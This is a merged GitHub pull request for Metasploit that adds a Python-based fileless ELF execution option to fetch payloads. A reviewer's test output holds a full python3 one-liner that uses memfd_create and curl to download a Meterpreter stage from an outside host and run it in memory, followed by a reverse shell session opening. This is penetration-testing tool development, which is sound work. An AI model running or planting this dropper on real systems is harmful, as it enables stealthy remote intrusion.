Skip to content

Adding option to run fileless ELF execution with Python #19943

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 5 commits into from
Mar 28, 2025

Conversation

msutovsky-r7
Copy link
Contributor

With the report of failing FETCH_FILELESS in restricted/no-gui environment, there should be probably some alternative until the more reliable method is available. This PR adds the alternative option. The new method - FETCH_FILELESS_PYTHON creates anonymous handle using Python, copies payload into that handle and runs it. The logic/technique is similar to original FETCH_FILELESS, but the fetch payload creates its own handle.

@dledda-r7 dledda-r7 self-assigned this Mar 5, 2025
@dledda-r7 dledda-r7 added the rn-payload-enhancement release notes for enhanced payloads label Mar 5, 2025
@dledda-r7 dledda-r7 moved this from Todo to In Progress in Metasploit Kanban Mar 5, 2025
Copy link
Contributor

@dledda-r7 dledda-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks good!

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler 
[*] Payload Handler Started as Job 1
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
[*] Started reverse TCP handler on 172.22.127.229:4444 

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f
python3 -c 'import os;fd=os.memfd_create("",os.MFD_CLOEXEC);os.system(f"f=\"/proc/{os.getpid()}/fd/{fd}\";curl -so $f http://172.22.127.229:8080/7pbDadtrV4sBei_JjHB3PA;$f&")'
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.22.127.229:4444 -> 172.17.0.2:49522) at 2025-03-28 06:37:25 -0400

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Debian  (Linux 6.12.13-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

@dledda-r7 dledda-r7 merged commit 21b441e into rapid7:master Mar 28, 2025
50 checks passed
@github-project-automation github-project-automation bot moved this from In Progress to Done in Metasploit Kanban Mar 28, 2025
@dledda-r7
Copy link
Contributor

dledda-r7 commented Mar 28, 2025

Release Notes

This improves the fetch payloads by using python to achieve fileless execution of an ELF file using memfd_create.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement rn-payload-enhancement release notes for enhanced payloads
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

5 participants